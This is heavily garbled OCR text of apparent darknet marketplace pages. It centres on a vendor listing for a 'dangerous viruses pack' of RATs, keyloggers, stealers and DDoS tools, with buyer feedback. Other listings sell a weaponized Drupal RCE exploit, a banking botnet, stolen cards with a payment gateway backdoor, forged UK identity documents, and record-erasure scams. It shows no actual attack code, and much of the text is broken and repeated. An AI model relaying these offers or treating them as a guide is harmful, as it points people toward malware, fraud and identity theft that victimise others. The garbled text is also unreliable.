Drigin country: Any Ships To: Any Drder By: Drder By:	LISTING OPTIONS Contact seller Add to Favorites Alert when restock Report Listing PROFILE ACTIONS My Information Private Messages Listings Orders Queue List Favorite Listings Favorite Listings Favorite Vendors Feedback Vendor Block List Help Bitcoin (BTC) United States Dollar (USD) Canadian Dollar (CAD) Euro (EUR) Australian Dollar (CAD) Euro (EUR) Australian Dollar (CAD) Euro (EUR) Australian Dollar (USD) Canadian Dollar (CAD) Euro (EUR) Australian Dollar (CAD) Euro (EUR) Australian Dollar (USD) Canadian Dollar (USD) Canadian Dollar (CAD) Euro (EUR) Australian Dollar (USD) Canadian Dollar (USD) Canadian Dollar (CAD) Euro (EUR) Australian Dollar (USD) Canadian	9467.24 13037.20 8543.00 14227.80 14227.80 14227.80 14227.80 14227.80 14227.80 14227.80 14227.80 14227.80 14237.81 100.78 86.70 91.91 90.71 91.91 90.71 91.91 90.71 91.91 90.71 91.9	Description Feedback Description Feedback Control of target Second and executer Second and executer Stressing/DOOS Attac Crypters Second and executer Stressing/DOOS Attac Crypters Second and executer Stressing/DOOS Attac Crypters Second and executer Second accounts with Second executer Crack Knitix Account Crack Admetast Account	In the super hack pack.	A Contract of the second seco	K (RATS ✓ Keylogers ✓ sto ve 1 year+ Nord VPN Premium aco Vendor Level 4 Trust level 4 Origin Country Ships to Payment MORE - 1 days - USD + 2.99 / item W M Bay Now Queue DDOS)★ +NordVPN Premium aco nium access to my customers !! to-use tools to get the job done!	Buy Price IICD & 20 Bealers & DDOS) + Inso to my outformers III Hack almo Features World Wide Variet Wide Eacrow Note: Section (Contemported in the section of t

Alert when restock		450	Unlimited items availab	ble for auto-dispatch		-		
Report Listing		PLANET		Features		Features		
			Product Class Quantity Left	Digital Unlimited	Origin Country Ships to	World Wide World Wide		
PROFILE ACTIONS		1/100	Ends In	Never	Payment	Escrow		
My Information			HACK MEGA PACK RA	ATS KEYLOGGER CRACKS	MORE - 1 days - USD + 2.99 / i	iem	\sim	
Private Messages			Purchase price: USD 2	2.92				
Listings			Qty: 1	🔕 Buy Now 🛛 🕘 Buy Nov	v 🕅 Buy Now Queue			
Orders			0.000308 BTC / 0.0658	25 LTC / 0.043778 XMR				
Queue List		Description Feedback	Refund policy					
Favorite Listings		Total Feedback: 36 - Po	sitive: 33 - Negative: 1	- Neutral: 2				
Favorite Vendors		Feedback				Buyer	Date	
Feedback		No feedback comm	ent	siere, 400.000 + 1 March (01) Deservices	and a second sec	k*****s	May 24, 2020	
Vendor Block List		* 2020 DANGEROUS VIRUS	Co MCK (rollow keylogelow olda		occurr #	030 5.91		
neip		Hey, thanks for the ★ 2020 DANGEROUS VIRUS	list! Quick and easy! : ES RACK (RATe / keylogere / stee	:-) alers⊮DDOS)★ +NordVPN Premium ;	account 🖌	USD 5.91	May 24, 2020	
B EXCHANGE RATES		Lots of great info a	nd programs, wonder	ring where i can find tha	t bonus vpn account	0*****n	May 22, 2020	
Bitcoin (BTC)	9467 24	No feedback comm	ent			c*****4	May 21, 2020	
Canadian Dollar (CAD)	13037.20	* 2020 DANGEROUS VIRUS	ES PACK (RATs⊮keylogers⊮stea	alers⊮DDOS)★ +NordVPN Premium :	account 🖌	USD 5.91		
Australian Dollar (AUD) British Pound (GBP)	14227.80 7677.68	□ please give me t ★ 2020 DANGEROUS VIRUS	he nord account. ES PACK (RATs⊮keylogers⊮stes	alers✔DDOS)★ +NordVPN Premium :	iccount 🖌	c*****z USD 5.91	May 09, 2020	
Litecoin (LTC)	44.30	* 2020 DANGEROUS VIRUS	Iike 2009 Chris Brown	alers⊮'DDOS)★ +NordVPN Premium :	sccount 🖌	f*****2 USD 5.91	Apr 27, 2020	
Canadian Dollar (CAD) Euro (EUR)	61.27 40.04	No feedback comm * 2020 DANGEROUS VIRUS	ent ES PACK (RATs⊮keylogers⊮stea	alers⊮ DDOS)★ +NordVPN Premium :	account 🖌	m******a USD 5.91	Apr 26, 2020	
British Pound (GBP) Deposits & Withdrawals	36.03	Nice * 2020 DANGEROUS VIRUS	ES PACK (RATs⊮keylogers⊮stea	alers⊮DDOS)★ +NordVPN Premium ;	secount 🖌	j*****a USD 5.91	Apr 20, 2020	
Monero (XMR) United States Dollar (USD) Canadian Dollar (CAD)	66.70 91 91	Best \$10 have eve * 2020 DANGEROUS VIRUS	r spent, cheers bro ES RACK (RATs#keylogers#stea	alerse/DDOS)★ +NordVPN Premium :	eccount 🖌	j*****7 USD 5.91	Apr 20, 2020	
British Pound (GBP) Deposits & Withdrawals The above rates are updated every 15 minutes an weighted average of major exchange platforms.		Views: 545 / S Quantity left: 1	I MICTOSOTT VISUA - Software & Malward Gales: 0 Unlimited	al Studio 2019 Ente e / Security Software - W	Prprise I			USD 120.00 (0.012690 BTC)
		THE IN-BA Item # 138787 Views: 790 / S Quantity left: t	NK TAKEOVER - Software & Malwar ales: 0 Jnlimited (Unlimited)	: SYSTEM 2019 W e / Exploit Kits - TopMon automatic (tems)	ORKING - MAKE EA eyMaster (113)	\SY \$15,000+	DAILY	Buy Price USD 100.00 (0.010575 BTC) ⓓ ֎ ♥
		Dark Mark Item # 164152 Views: 206 / S Quantity left: 1	et (Marketplace) - Software & Malwar ales: 0 Jnlimited	<mark>Script</mark> ie / Other - <mark>greenpirate</mark> (2	:15)			Buy Price USD 100.00 (0.010575 BTC) ⓓ ֎ 🖉 😒
	NO IMA	AGE Item # 52141 Views: 1330 / Quantity left: 2	UL] Drupal RCE · Software & Malware Sales: 2 23 (673 automatic iter	Exploit [Fully Wea / Exploits - albertnikon1 ms)	ponized] [88% OF B 1 (368)	UILDS VULN]		Buy Price USD 80.00 (0.008460 BTC) ⓓ 健 🚱 😒
	NO IMA	AGE Item # 52159 Views: 1410 / Quantity left:	Banking Botnet - Software & Malware Sales: 2 13 (120 automatic iter	/ Botnets & Malware - al ms)	bertnikon 11 (368)			Buy Price USD 75.00 (0.007931 BTC) 健健 இ ₪
		ANDROID Item # 135182 Views: 505 / S Quantity left: 1	Mobile Virtual Bo - Software & Malwari iales: 0 Jnlimited (Unlimited)	ox Machine — 201 e / Security Software - To automatic items)	9I w/ Full Tutorial pMoneyMaster (113)			Buy Price USD 50.00 (0.005288 BTC) (2) (2) (2) (2)

	200 BTC for 2 Million Cards & Payment Gateway Backdoor & Empire Market Vendor Account Item # 77672 - Fraud / CVV & Cards - bluer (15803) Views: 2114 / Sales: 0 Quantity left: 1	Buy Price USD 2,000,000.00 (211.502567 BTC)
Data (1980) (1980) AMA (1990) (1980) (1980)	HONG KONG BUSINESS ACCOUNT Item # 171299 - Fraud / Accounts & Bank Drops - viktorrad (1) Views: 168 / Sales: 0 Quantity left: 14	Buy Price USD 25,490.00 (2.695600 BTC)
	Registered United Kingdon (UK) New Identity (Passport, Drivers License NIN & Birth Certificate) Item # 88309 - Fraud / Other - Maestras407 (72) Views: 834 / Sales: 0 Quantity left: Unlimited	Buy Price USD 14,170.26 (1.498524 BTC) 2
0	Registered United Kingdon (UK) New Identity (Passport, Drivers License NIN & Birth Certificate) Item # 97186 - Fraud / Other - Maestras407 (72) Views: 336 / Sales: 0 Quantity left: Unlimited	Buy Price USD 14,170.26 (1.498524 BTC)
NO IMAGE AVAILABLE	Registered United Kingdon (UK) New Identity (Passport, Drivers License NIN & Birth Certificate) Item # 104862 - Fraud / Other - Maestras407 (72) Views: 171 / Sales: 0 Quantity left: Unlimited	Buy Price USD 14,170.26 (1.498524 BTC)
	2020 Get a Registered United Kingdon (UK) New Identity (Passport, Drivers License NIN & Birth Certif Item # 147003 - Fraud / Other - Maestras407 (72) Views: 186 / Sales: 0 Quantity left: Unlimited	Buy Price USD 14,170.26 (1.498524 BTC)

Social Engineering	292		SUCCESSFUL BANK TRANSFER WITH RECEIPT AND DETAILS	Buy Price
Counterfeit Items	2490		Item # 107107 - Guides & Tutorials / Hacking - StoneBrown (6)	(0.523469 BTC)
Digital Products	6605		Views: 464 / Sales: 0 Quantity left: Unlimited	8 🚯 😡
Jewels & Gold	856			
Carded Items	407		Criminal Decord, gain freedom, Eraso Decords new	Buy Price
Services	524		Item # 177834 - Guides & Tutorials / Hacking - DrLucian (0)	USD 3,999.00
Cther Listings	374		Views: 10 / Sales: 0 Quantity left: Unlimited	(0.422699 BTC) 3
Software & Malware	583			
Curity & Hosting	176	and freedom	Delete your loans!! Clear & Pay off Mortgages! Paid-off Lines of credit, Pay off your Maxed Out CC e	Buy Price USD 3,500.00
Earch options		And And A	Item # 91598 - Guides & Tutorials / Drugs - Maestras407 (72) Views: 731 / Sales: 0 Quantity left: Unlimited	(0.370129 BTC) 8
	Q 2			